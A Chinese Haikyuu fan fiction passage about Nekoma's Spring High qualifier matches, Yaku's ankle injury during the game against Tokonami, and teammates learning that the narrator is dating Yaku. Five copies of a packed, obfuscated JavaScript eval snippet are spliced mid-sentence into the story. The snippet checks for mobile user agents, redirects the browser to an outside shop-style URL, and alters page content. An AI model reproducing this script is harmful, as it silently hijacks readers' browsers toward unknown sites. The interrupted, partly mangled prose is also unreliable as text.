我稍有点懵地停下，没理解到底是发生什么事了，只是见夜久前辈朝我招招手，便重新加快了速度钻进人群。 “怎么了？”我压低了声音，稍微有点不解地这么问。 夜久稍有点无语地指了指我来的那个门口，说：“户美的人挑衅完刚走没多久没多久门就又开了，以为他们回来了，没想到是你。” 灰羽抱臂在旁边认可夜久的话，“没错，挑衅地超级过分哦！还说黑尾前辈的身高是发型造假的，实际其实根本没有到一米八呢。” 我：“……啊、啊？” “不要露出一副‘原来是这样吗’的表情！我量身高都有好好把头发压下去的！！”黑尾先忍无可忍地给了灰羽一脚，随即一转头看到我若有所思的表情不禁大声地为自己辩驳。 “哦、哦……好的。” “喂！” “怎么次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309435|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次都是这段话、但就是次次都被激到啊……这次甚至不是大将说的。”海在旁边有点无言地吐槽。 研磨提了提已经已经拉到顶的衣领，试图逃避现实地以此遮住脸，闻言淡淡地吐槽：“每次都这么吵……他们其实关系很好吧。” 我有点好奇地转过头，压低声音谨慎地询问，“是真的关系很好还是在开玩笑？” “……”忘了这还有个完全不知内情的了……没记错的话小游和大将前辈完全没见过啊。 研磨欲言又止地开始思考这要怎么说，“呃……一半一半吧？” “……一半现实一半开玩笑？”那是什么？ 夜久：“是你问黑尾他绝对不会承认他们关系很好、但有人诋毁大将他一定第一个跳出来反驳的关系。” ……好复杂的关系。 我纠结了两秒，没懂。 “没关系，你不用理解这个。”研磨前辈语气平静，“反正你又不会交到这样的朋友。” “虽然很想让研磨你不要说得这么笃定但仔细想想总感觉是事实……”夜久纠结了两秒，最后自己说服了自己，朝我坚定道，“理解不了的话不理解这种奇怪的东西也没关系，不重要。” “哦。” “怎么轮到夜久就应得这么干脆啊！都说了不要这么偏心啊！！” “……唔。” “喂！” “……小黑，这么多次下来你还没习惯啊。” “这不是什么该习惯的事情吧？倒是不要在这种事情上妥协啊研磨！” “……哦。” “？？？” # 总之，吵吵闹闹地吵了一通之后，周围的紧绷气氛算是彻底散尽，等时间到了，黑发的排球部主将便拍拍手掌，神色正色起来的同时语气也沉稳下来。 “该进场了，”他扬声道，“走吧。” “调整心态好好热身，去拿全国大赛的入场券了。” “是——！” # 半决赛，音驹对枭谷。 86. 第八十六个小岛 同为东京主场的队伍，不管是音驹、枭谷、户美、还是井闼山，四支队伍的拉拉队人数都多到让我稍微有些惊叹的程度。 我们比枭谷早入场一些，我正抱着毛巾放到教练椅旁边的地上，顺便叫灰羽把水瓶往里移一点放到教练椅后面些、免得待会儿被比赛期间四处乱飞的流弹撞翻，便突然听到对面场地咻然响起的热烈的欢呼声。 下意识回头望去，第一眼看见的便是正一边进场、一边将手中脱下来的外套非常潇洒地往后一扔的眼熟的黑白猫头鹰头——看到是木兔前辈看出来的事情莫名就没有那么吃惊了，总觉得这的确是他能干出来的事情。 目光追着飞起来的外套慢慢悠悠地下落、最后被赤苇前辈十分熟练地探出一只手臂接住，我微微沉默两秒，莫名想起之前刷视频刷到的一场国中网球比赛的开场……怪不得感觉有点眼熟，也是抛接外套的剧情啊。 ……真是辛苦你了，赤苇前辈。 稍有些同情地这么想着，下一秒，随着有些刺耳的啸声，小茜被大喇叭传出而有些失真的加油声便紧跟着对面枭谷的应援一齐响了起来。 “勇往直前是音驹！！” 山本前辈站在场内，抬手朝正在观众席上的小茜挥了挥手，“呦！啦啦队长小茜！” 看着小茜朝兄长露出的骄傲笑脸，我也跟着情不自禁地弯弯唇角，随即伸手招呼了一下旁边的灰羽，“灰羽，你姐姐也来了。” 艾丽莎正好朝灰羽张开双手挥了挥，笑着道：“加油，列波契卡！” 灰羽一边挥着手回应，一边炫耀般朝我道：“我看到了！我姐姐超漂亮的，对吧？” “超好看。”我认同他的话，但不耽误我随即稍有些无语地偏头看他一眼，“怎么现在是你来跟我炫耀姐姐啊……明明是同一件事。” “哼哼。”灰羽毫不心虚地叉腰神气道，“这又不冲突。” “快去热身吧你。”我开始赶他，“这里我来就好。” 一边说着，我一边偏头望向不知什么时候看过来的夜久前辈，伸手简单给他比了个加油的手势。 他朝我笑了笑，欣然应下。 热身列队结束，所有队员照旧围成一圈，听黑发主将沉稳地念出口号。 “我们是血液，必须要畅通无阻地流动，输送氧气，为了让‘大脑’能正常运作。” 所有人神情都严肃而锋芒毕露，锐气和锋利意气毫不掩饰地迸发出来，我侧眸看去，望着他们散开，随即齐刷刷地看向正站在我旁边的猫又教练。 头发花白的老人依旧是笑着的，他平静地道：“去尽全力接球吧。” ——去享受比赛吧。 “是！” 代表比赛开始的尖锐哨声响起，东京春高预选半决赛正式拉开序幕。 第一局由枭谷发球。 跳发非常迅猛地砸向音驹的场地，被后排的夜久稳稳接住传给研磨，随即在他同幼驯染的黑尾的配合下迅速拿下这第一分。 拉拉队的欢呼声响在耳侧，我却不自觉屏住呼吸。 ——尽管第一分赢得非常漂亮，但对手可是枭谷啊。 木兔的状态好得非常鲜明，重重一记扣杀让海和黑尾加在一起都没有拦下，打在手掌上后高高弹起，一路直直弹出场外，直冲观众席而去，被小茜眼疾手快地一把抓住。 附近的拉拉队员一片哗然，就连隔壁正在应援的户美拉拉队的同学都纷纷吃惊地望过来。 他称得上一句出尽了风头，兴奋着握紧了双拳，畅快地大喊：“HeyHeyHey——！” “真会带动现场气氛啊。”黑尾站在网前，望着对面场地的木兔的眼中满是战意。 ——比赛的气氛从最初的两球开始便被迅速地被炒热起来，发展地非常激烈，大家的状态也都异常地好，配合完美、分差也咬得紧，直到第一局比赛过半，分差才终于显现出来。 我没有很担心，音驹和枭谷打的练习赛不在少数，这种情况可以称得上一句正常。看研磨前辈的表情，不出意外的话，他应该已经想出办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309436|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。 见猫又教练在收到研磨前辈的示意后意会地向裁判申请暂停，我便拿起早已放好的毛巾和水瓶，跟不上场的芝山和手白一起挨个给大家分发下去。 将最后的水瓶和毛巾递给不知道跟赤苇前辈说了什么而稍微晚了些回到场下的研磨前辈，我听他淡淡道了声谢，随即便转头开始低声分析着局势。 “木兔前辈今天状态很好啊，”开始消耗体力精力后，研磨一向什么表情和情绪波动，“再加上状态同样非常好的夜久前辈。” 两句话随口说完前提，他语气平淡地继续道：“他今天打直线球的状态特别好，而且被预判接下球后明显开始非常注意斜线上防守的夜久前辈。” “所以，要换放木兔的直线球吗？”闻言，海这么问道。 “嗯…不过，”他淡淡地道，“木兔前辈罕见地在直线球上这么威风，先让他尝尝鲜再说吧。” 嗯……不知道为什么，莫名感觉研磨前辈总在用一些轻描淡写的语气说出一些非常恐怖的话啊。 ——“整个音驹最不能惹的人”的排行榜，研磨前辈该榜上有名才对。 因为军师二传淡定的、尽在掌握中的态度，我也跟着不自觉放松下来，甚至不自觉吐槽了两句。 哨声再次响起，比赛继续，音驹发球。 依照研磨前辈所说，他们开始专门对木兔前辈的直线球下功夫。巧妙误导木兔后，他跟黑尾迅速交换位置，让出现在木兔直线球球路上的黑尾干脆利落的将木兔的扣杀拦了下来，直接得分。 他笑得非常像个在放垃圾话的反派——甚至某种程度上完全没有说错，“偶尔也让我出出风头啊！” 木兔咬牙切齿：“区区一球而已！” 分差再次被拉进，我望向音驹vs枭谷【16:18】的记分牌，不自觉也连带着亢奋起来。 研磨前辈冷静地下达指令：“接下来要有意识地盯住木兔前辈的直线球。” “好，来吧！” ——比赛还在继续。 87. 第八十七个小岛 接下来的比赛，正如研磨前辈所说，音驹的选手们开始有意识地针对起木兔前辈的直线球球路，全无死角无懈可击的防守中，木兔未曾找到破绽，于是情急之下将球一掌扣出了界。 分差拉到仅剩一分的程度。 位置轮换，夜久换到前排被灰羽替换下场，发球的则是黑尾。 他状态正好，打出的跳发球让后排的木叶接得艰难，叫球直直弹回了音驹的半场，被山本稳稳地传给二传，再由研磨传给助跑上前准备扣球的灰羽。 扣——啊，完全没扣下去。 黄蓝相间的排球被指尖一挑完全没发挥出来应有的威力，在半空中转了两下便轻飘飘地落地，意外地还避开了对面的拦网，又在落地之前被鱼跃上来的木叶救起，又再次弹回音驹场内。 是又一个机会球。 位置很好，完全是可以由攻手直接起跳扣球的高度，于是，在前辈们“扣下去”的呐喊声中，想要弥补自己刚才的失误灰羽再次起跳—— 依旧没能得分，这次甚至比上次更胜，连球都没有碰到，下落的排球甚至还砸到了他的脑袋。 前排的福永反应很快地鱼跃出去用手掌隔在排球与地面之间，但缺少力量的排球再弹不起来，短暂反弹起来了一小段距离便再次落地。 现场一瞬间陷入了一片寂静之中，大家多少有些不可置信地盯着落地的排球看了两眼。 听着背后观众席传来的艾丽莎为自己弟弟失误而发出的“对不起对不起——”和小茜有些手忙脚乱的安慰声，我不自觉沉默两秒。 ……虽然、但是， 看到干出这种事的人是灰羽，不知道为什么就突然有一种……不愧是他的了然感觉。 猫又教练再次示意暂停，将走下场站在场边一个人调整呼吸的研磨叫住，“研磨，列夫就交给你了。” 研磨前辈难得反应强烈地皱起脸，就差把不情愿这三个字明明白白写在脸上。 猫又教练事不关己高高挂起地悠哉悠哉地调侃他，“这种时候表情真丰富啊，研磨。” 目送研磨前辈晃晃悠悠地站到脱离人群的灰羽面前，有气无力碎碎念一样开始皱着脸挨个将其他前辈说了无数次但他还是再犯了的错误拎出来怼在他面前，最后像是认清现实了那样松下表情，叹着气转身就走，只留下一句“你还是比不上翔阳……”。 灰羽露出一副像是被雷劈了的表情。 我围观全程不禁沉默两秒，随即默默移开视线，伸手去接准备上场的前辈手中的水杯，“直接给我吧。” 比赛继续。 也许是研磨那句“你还是比不上翔阳”激起灰羽的好胜心，他在接下来的表现肉眼可见地比之前好了不少，虽然还是有些失误、比如在第一局的枭谷赛点中发球失误给对面送了一分，但总得来说也称得上一句可圈可点。 不过这并不妨碍音驹第一局以【21:25】输掉后，又在第二局僵持许久和以【28:30】的比分又输了一局，正式进入举办地代表战、也就是春高仅剩的一张全国入场券。 另一个赛场比我们更快一些决出胜负，井闼山大比分【2:0】赢得比赛进入决赛，音驹举办地代表赛的对手便是淘汰下来的户美。 是三年级最后一次进全国的机会了。 难免为音驹如今堪称背水一战的境地感到心情沉重，我低头看了看时间，又回想了一下订营养餐时约定的取餐时间，便跟猫又教练说了声，带着几个不上场替补队员提前去拿餐的地方等着，免得餐食出现什么意料之外的问题。 走前，我回头看了眼刚列队完回来的夜久。 他神色有些凝重，但看起来没多为刚输掉的比赛感到遗憾、也没心思去进行复盘，而是快马加鞭地开始为下一场比赛而调整状态，用最好的状态迎接接下来至关重要的比赛。 我看两秒，于是重新回过头，招呼了声也有些沉重地望着回来了的前辈们的芝山，语气平静，“走吧。” 至少……我们至少不能在后勤方面掉链子，让本来就承受着巨大压力的选手们还来迁就我们的失误。 # 下午的比赛如期而至。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309437|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 入场后，双方队长进入赛场在网前握手，同上午跟枭谷的握手环节不太一样，上午两位主将多是严肃占了大部分，现在的两个人的氛围则更加剑拔弩张了一点——不止一点。 看起来表情狰狞地要不顾裁判地当场掐起来了……这真的是互不承认关系很好但的确关系很好的关系吗？ 我犹豫地这么想着。 等两位队长回来进行赛前动员时，那种想法便已经散得差不多了。我加入排球部这么久以来完全没见过户美，也仅仅只在整理资料的环节稍微了解过一点，不禁侧头听了一耳朵。 黑尾在应援声中有些严肃地道：“要提防的必须是大将。” “那家伙是狡诈到毫无底线的类型，必须要小心。” “要将他们每个动作都当做假动作来看待。” “是——！” 人群中，看起来完全没有被动员成功的灰羽显得多少有些突兀。 他看起来似乎还没从上午的比赛中摆脱出来，神情沉重地让人不禁侧目，我不自觉有点担忧地看向他。 注意到夜久前辈朝着他走去时，我下意识移了移视线，落到夜久前辈身上。 他看起来实在有点看不下去灰羽一直消沉到现在的行为，但却罕见地没干脆地给灰羽一脚，而是用镇静的、仿佛一切都尽在掌握的语气道：“就算你丢了五分，再赢回十分不就好了。” “剩下的，只要不让对方拿分就足够了。” ……啊。 虽然如果让我说的话多少有点带滤镜看人的嫌疑，但是……好帅。 这份对自己全然的自信、还有对自己绝对能为状态不好的后辈兜底的从容与笃定……都好帅。 我不自觉有点发怔地望着他的背影，情不自禁地微微睁大了眼睛。 空气似乎寂静了两秒，随即，我听见黑尾前辈、山本前辈和福永前辈大受震撼的声音。 “太帅了啊！夜久/夜久前辈！！” ……是。 我不自觉在心中认同地重复道。 太帅了。 88. 第八十八个小岛 比赛开场十分钟，我总算理解了黑尾前辈说的“狡诈到毫无底线”和“把每个动作都当成假动作来看待”到底是什么意思了。 扣球动作完成十之八九后改扣为吊，将声音控制在裁判听不到的范畴盯着容易上头的选手无差别挑衅嘲讽，什么“11号（灰羽）下一球一定会挥空”、“4号（山本前辈）打不出直线球没有直线球”之类的……的确非常狡诈。 除此之外，他们对裁判又是另一副面孔，语气谦和有礼，不小心打到我方选手会立刻九十度鞠躬道歉，也会在力所能及的地方帮裁判的忙，像在玩攻略游戏那样无所不用其极地狂刷好感…… “啊，”看着音驹的大家逐渐焦躁起来的氛围，我忽地想到些什么，顿悟般冒出个无意义的单音，“……是绿茶啊。” 表面上无辜无害心地善良，实则心思深沉、善于利用他人获利……这不就是户美吗？ 之前都是网上刷到，我还是头一回在现实里遇到这样的人来着……甚至不只是一个人，而是一整个团体。 闻言，暂停休息时恰好站在我旁边擦汗的福永前辈沉默良久，默默朝我比出一个大拇指来，“天才。” “谢谢……？”我不确定地回道。 那边，黑尾话说到也跟着看过来，思考两秒，觉得这个词意外合适，便当场改了说辞，“不是一直这样，那群人应该是最近才学了所谓绿茶的这种手段。” 讨巧、卖乖，总之让他们这群人看得非常窝火。 “但很有效，不是吗。”研磨语气冷淡，“现在在裁判眼里，百分百是觉得对面更好。” 尽管裁判客观公正，但有意无意的偏心是人类的本能。 真相模糊不清的情况下，人总是会偏心于自己更加喜欢的那一方的。 看着完美的压线跳发球因为被户美选手的身体遮挡导致裁判没看清楚、从而最终被判为界外球户美得分，我忍不住忍不住不自觉深深地吸了一口气——很不爽、非常不爽、特别不爽。 ——总有一种一拳打在棉花上的无力感。 场上的选手的心情绝对比我更加窝火。 再度来回几个拉扯，焦躁的气氛愈演愈烈，原本状态至少能保持稳定的选手们彻底浮躁起来，山本前辈一掌将球扣出界外，比分再次落后两分，【19:21】。 “可恶——！”山本前辈咬紧了牙关，“非常抱歉！！” “别在意，再接再厉！”黑尾这么朝他喊。 再一球。 灰羽和研磨双人拦网一触，排球被山本前辈鱼跃出去接起，却接球失误导致球远远向场外飞去。 就在我以为这一球会直接失分的时候，我看见追出去的夜久前辈。 望见他跨出防护栏将球接下传至对面场地，我一下子亮起眼睛。 ——不愧是夜久前辈！ 怀揣着对夜久接球水平的绝对信任，我视线便追着排球飞回户美的场地，看着它在户美的上空飞了几下重新回到音驹上空，被灰羽直接扣球得分，我心思却不在终于音驹终于拿下了非常漂亮的一分里，而是微微睁大了眼睛，望向对面刚刚夜久前辈跨出栏杆的地方。 连成一片的深蓝色防护栏斜着空出一块，我看见正咬紧牙关忍痛的、被山本前辈扶着才勉强走了几步的夜久前辈。 他正将头深深埋下去，阴影落在他脸上，我看不清他的神色，却无端感同身受般心头一震。 ……发生什么了？夜久前辈明明不是第一次跨过防护栏扑出场外了、他不会做没底的事情才对，怎么回事，出什么意外了？是跨出去的时候踩到了什么东西摔了、还是为了接到球而没调整好落地姿势摔了？ 有些慌乱的思绪一条一条在眼前闪过，我静不下心去思考什么，最初还勉强能顾忌着比赛时未参赛人员不得进入场内的规则而停在原地，余光瞥见已经冲上去的黑尾前辈时，我便再也顾不上什么，也跟着冲了过去。 “夜久前辈！” ……我察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309438|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到自己嗓音中隐隐可见的颤抖。 他应是落地时不小心踩到了路人的脚将脚扭到了，此时刚跟不小心踩到的观众道完歉，重新直起腰来，便重新转身，堪称急切地想要重回赛场，“我没关系……嘶！” 扭到的那只脚触地的一瞬间他便因脚踝的刺痛而站不住地踉跄着倒下来，我条件反射地伸手，却还是慢离他最近的山本前辈一步，眼睁睁看着他被山本前辈扶住。 手掌僵在半空，余光中，我瞥见自己不受控制地打起颤来的手指。 如果连走路都走不动了——那……夜久前辈怎么办？比赛怎么办？ 夜久前辈是整个音驹接球水平最好的选手，接班的芝山还没成长起来、他还做不到完全接替夜久前辈的所有任务，我们本来就打得很艰难，比分也落后，如果夜久前辈没法继续需要换人上场的话……比赛怎么办？ ——夜久前辈准备着努力了这么久的、我们所有人准备着努力了这么久的比赛……如果输了怎么办？ ——这会是三年级最后一场比赛了……这如果是三年级的最后一场比赛的话，留下的不是只会有遗憾吗？ 下意识退后两步，给跑过来准备将已经确定没法行走没法比赛的夜久前辈扶下场的犬冈和直井监督让位，我思绪还有些混乱，却猛地感觉有人伸手搭上了我的肩膀。 我条件反射地回头，望见黑尾难得凝重下来的神情，他脸色有些难看，声音却依旧是沉稳的，“冷静下来，小游。听着。” “夜久不会愿意立刻离场去医院，他的伤需要先处理固定，去拿急救箱，你可以的。” “别担心、也别想太多，相信大家。” “——你可以的。” 他的话像一根定海神针一样镇压了我所有混乱的思绪，我深吸一口气，随即干脆应下，“明白！” 压下心中的一切担忧，我将视线从明显带着满腔不甘心的夜久前辈身上移开，重新回头奔现教练席后放置急救箱的地方。 89. 第八十九个小岛 我在交上社团申请书后就有上网搜过经理所需要掌握的事情，按照轻重缓急开始挨个学习掌握，直到现在，至少在当初被我最先列入学习计划的简单的包扎我还是可以做到熟练操作的——虽然我从未想第一次用上是给夜久前辈。 扭伤的处理方式……冰敷、加压、抬高。 急救箱需要定期检查，将过期的药品更换以免真出了事却没东西可用，上次全面更换是我来做的，也因此，我对急救箱里所有东西的摆放位置都称得上熟门熟路。 将冰袋敷上夜久的脚腕，我仔细看了看他的伤势，评估两秒，确定他仅仅只是扭伤而没有伤到骨头，好好休息一段时间就可以正常活动后才终于松了口气，转头拜托手白去找可以把上腿垫高的东西。 回过头，我先不自觉抿了抿嘴唇，才低声道：“……夜久前辈，伤势不严重，没有伤到骨头，待会再去医院做一下详细检查，春高排的时候依旧可以正常上场。” 夜久完全分不出心神去听我的话，他攥紧了拳，脸上爬满了不甘和懊悔。 “我这一年来，从来没有受过严重的、会影响到比赛的伤，也从来没有生过什么很大的病，即使会擦伤、感冒，也从跟你没有影响到训练和比赛——但为什么？为什么偏偏是这个节骨眼上受伤，为什么偏偏是这个时候？” “因为意外总是难以预料的，”我大脑空白、完全想不到什可以安慰到夜久前辈的话，只下意识地脱口而出，“——这从来都不是你的问题，夜久前辈。” “作为自由人，为了追球跨出防护栏的行为完全没有问题。” 舌尖抵住上颚，我有点干涩地继续道：“不小心将脚扭伤导致不能上场，这也只是预料之外的、没有人可以意料到的意外而已。” ……请务必不要质疑自己。 “就像海前辈说的那样，当做是在全国大赛之前休息片刻。看着音驹拿下胜利也是一种很不错的体验。” “我们会赢的。”我低声道，“……大家都还没有放弃。” 相信大家、相信朝夕相处的队友、相信我们所有人一齐付出的努力。 ——至少我们要相信我们一定会赢、唯独我们要相信我们一定会赢。 # 比赛继续。 作为没什么经验的、被替换上场的新生自由人，芝山上场开始，户美便统一对调转方向，全方位针对起刚刚上场的芝山。 接连失分，音驹的气氛一时沉重到了一个我也多少跟着有些呼吸凝滞的程度，不光是场上的队员，就连观众席上的拉拉队的气氛也低迷起来。 与对面因局势大好而更加振奋的户美形成格外鲜明的对比。 暂停时聚集起来的队员们纷纷陷入沉重的沉默中，犬冈有点无措地左右看了看，试图说些什么挑动气氛。 “不要紧，我们能行的！越到这种时候，越需要提起气势！！” “对啊。”海擦着额角的汗，这么认同地应道。 比赛打到现在，研磨前辈看起来已经稍微有点累了，细密的汗覆在他的脸上，我便给他递上毛巾。他正一声不吭地思考着什么，下意识接过来，便上前插入其他人的对话中。 “我说，士气有点太低迷了。”即使是在这个完全逆风的局面下，他看起来也依旧没受影响，冷静的样子和练习赛时毫无区别，“没什么可担心的。” 他冷静地分析局势，开始趁着这次暂停调整战略，“芝山，列夫轮换到后排的时候由你来替换他。” 黑尾前辈迅速理解了他的意思，“没错，我不必下场，就算轮到后排也依旧由我参与后排的防守。” “出风头的好事总是被夜久抢走，偶尔呢，也该让我这个主将耍耍帅啊。” 他甚至还有心情这么神色轻松地转头调侃夜久前辈……总有种不愧是黑尾前辈的感觉。 完全不含贬义，只是会突然觉得……黑尾前辈是主将果然是有道理的。 就算平时会和大家混插打科，但真的出现什么事情又总会是第一时间冷静下来站出来为所有人抗住压力的那个人，非常、非常可靠。 是天塌了也有个高的顶着的具象化——不过并不是我们其他人就完全不会分担、理所当然地接受这一切的意思。 研磨对黑尾的话没什么反应，只是转而继续说下去，“虽然小黑的接球水平比不上夜久，但同样擅长接球，而且后排进攻速度快，虽然没有配合过，但我觉得能成功……搞砸了的话，就抱歉了。” “倒也不要在这种时候突然拆我台啊。”黑尾嘿了声，颇有些夸张地抱怨一句，随即正色道，“我明白。” “嗯……”伴着裁判吹响的哨声，研磨平静道，“那就上了。” “是！” —— 不得不说，在场上从未热血上头冲动行事、永远都冷静地仿若局外人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309439|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般分析局势的研磨前辈口中的那一句“没什么可担心的、还有希望”真的比任何鼓励都还要有用。 因为局势颇差时他会平静而笃定地说我们会输，所以就算局势看起来非常差，但他口中的有希望也同样是真正的、毫不掺水份的有希望吧。 “我们会赢的，夜久前辈。”暂停结束，我望着大家上场的背影，转头看向旁边的夜久前辈，这么重复道。 “是。”他的神色同之前相比轻松了不少、没再那么沉重，“我们会赢的。” 经由研磨前辈的肯定与黑尾前辈有意的调节气氛，暂停结束后再次上场时，大家的士气和状态都肉眼可见地提升了不少。 压力在一定程度上同样会转化成动力，黑尾前辈在队伍中逐渐发力，甚至还拦网成功拉进了分差，而芝山则不知是想通了什么，在接下来的比赛中不再因为压力而过度紧张，这么久的训练没有白费，虽依旧不及夜久前辈，但他同样完美地发挥出了自己的实力。 比分扳平，24:24。 接连形势焦灼地拉锯了几球，最后于音驹的赛点中，灰羽作诱饵，研磨出其不意地将球传给他身后的黑尾，由黑尾拿下这关键的最后一分。 ——第一局比赛结束，音驹获胜，比分28:26。 # 大抵是因为第一句比赛的反败为胜极大的激励了人心，第二局直到比分过半音驹都一直是领先的状态。 中间在手指脱臼的4号王牌作为决胜发球员上场的时候被连续发球得分，反超了比分，但也很快就被音驹破掉了发球局。 黑尾前辈在接球时不小心劈到了指甲，便由芝山上场将他轮换下来，而在包扎的过程中，第二局比赛在户美的大将前辈救球失败、音驹得分的那一球中结束。 我还没反应过来，下意识以为这局赢了便要开始第三局比赛，还没来得及开始对第三场比赛感到担忧，便在音驹选手们的欢呼声与拉拉队的喝彩声中忽地意识到什么，下意识猛地转头望向计分板。 【28:26】 【26:24】 两场比赛皆为胜利的结果，而赛制是三局制，也就是说—— “我们赢了。”胸腔中咻然涌起的兴奋与激动占满了心脏，强烈的不真实感也跟着涌上心头，我却不受控制地扬起个灿烂的笑容来。 “我们赢了！” “——要去打春高排了！！” 90. 第九十个小岛 比赛结束之后，等收拾完场地乘上大巴车，我们便跟夜久前辈一起去了医院检查——对，是“我们”。 比赛结束之后大家都没有其他需要做的事情，加上夜久前辈是在比赛中受的伤，大家都很担心，便一块跟着去了。 而且本来就都已经乘上大巴车了，也刚好顺路一起去一趟。 医院的检查结果和我当初的判断没什么区别，就是普通的扭伤，好好休养半个月之后就可以继续正常参加训练，也不会留下什么后遗症——我便也跟着检查结果正式地、彻底地安下心来。 毕竟夜久前辈就算毕业之后不走职业排球运动员的路线，也一定会继续打排球的，而脚踝留下后遗症有有旧伤的话，不管怎么说都会对未来造成影响的。 不管怎么样都不想看到这样的未来……所以完全不会留下后遗症真是太好了。 我由衷地庆幸起来。 鉴于夜久前辈目前还处于一个伤腿不能碰地的情况下，所以我们是先拐弯将他送回了家，才再将车开回学校，让大家自己回家。 路上跟夜久前辈在Line上聊了两句，大巴即将驶进校门的时候，我便跟夜久前辈说了声，没再回消息，侧头往外看了看，脑子里却默默思考起待会儿走回家的路上可不可以跟他打电话、或者回家之后也行。 灰羽在旁边瞅我两眼，不小心瞥见我的手机页面时不禁欸了声，“小游，你怎么现在还在和夜久前辈发消息啊。” 他非常艳羡的样子，“我平常给夜久前辈发消息的时候他都不怎么理我，小游你怎么做到的，教教我。” “……你不老说没什么意义的废话的话，夜久前辈还是会回你的吧。”想起灰羽跟我私聊的时候常用表情包四处刷的屏，我不禁沉默两秒，下意识吐槽。 手机嗡嗡地传来震动，我看眼，发现是阵平哥和研二哥祝贺我们打进春高的短信，便低头回消息，一边有点心不在焉地继续回答他的问题，“至于怎么做到的……交往的时候不回消息未免也太不合格了一点吧。” 回完消息，又顺便跟着按了个表情包过去，我忽地意识到车上气氛不知从什么时候安静了下来，原本虽然不算热闹、但也多少有些大家低声聊天的声响彻底消失，寂静的车厢里，我只听见研磨前辈的游戏机传出的细小的“失败”提示音。 我下意识以为是刚刚没注意音量声音太大了些打扰到了别人，不禁有点心虚地弱弱询问，“我声音太大了吗……不好意思？” 下一秒，在我前一个座位的黑尾拍案而起，非常震惊地转过头看向我，“交往？” 斜前方的山本前辈也跟着猛转头，“小游和夜久前辈？” 始终觉得自己对他们俩的感情发展非常了解的研磨颇为震惊地问：“这是什么时候的事情？刚刚？” ——他们的相处方式跟之前完全没有区别啊？不会是刚刚比赛赢了顺势告的白吧？ 黑尾非常有同感，他甚至觉得研磨的猜测很有道理，毕竟音驹时隔五年终于再次打进全国，这的确是个非常值得庆祝的事情，但是—— 他非常严肃地问我，“夜久那家伙告的白吗？” 我完全没搞懂他们在惊讶什么，闻言下意识回想了两秒，有点迟疑地摇了摇头。 是我先表的白……但黑尾前辈只是问夜久前辈有没有告白的话，那应该是有的才对。 这么想着，我摇头的动作一顿，刚准备转为点头，便看到黑尾前辈露出了一副非常后悔的表情。 “——早知道刚刚就多给夜久两拳了！这家伙爱情事业怎么还双丰收啊！” 无视黑尾吵闹的背景音，研磨再次重复：“什么时候的事情？” 他在将猜测说出口的那一瞬间就已经自己在心里否决了，毕竟按照这两个人的纯情程度，如果刚刚真有告白这一出的话他们相处起来绝对不可能这么自然。 所以肯定不是刚刚，这点pass。 那 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“小游和夜久前辈一个月之前才开始交往吗？！”这是不知道为什么一直误以为我们已经交往了很久的灰羽。 “我们之后随身带上礼花吧，这样就可以及时庆祝了。”这是不知道在遗憾什么的海前辈。 “我一直觉得凭你的迟钝程度的话应该还有好一段时间的才对……但恭喜啊，小游。”这是发现事情脱离预测稍微有些震惊的研磨前辈。 “婚礼请务必记得邀请我。”这是伸出一根手指指着自己、非常认真地看着我的福永前辈。 “……现在说婚礼未免有些太早了吧。”这是被福永前辈的话震到的我。 顿了顿，我稍微有点疑惑地反问，“真的没有人发现吗？我们完全没有遮掩过啊？” 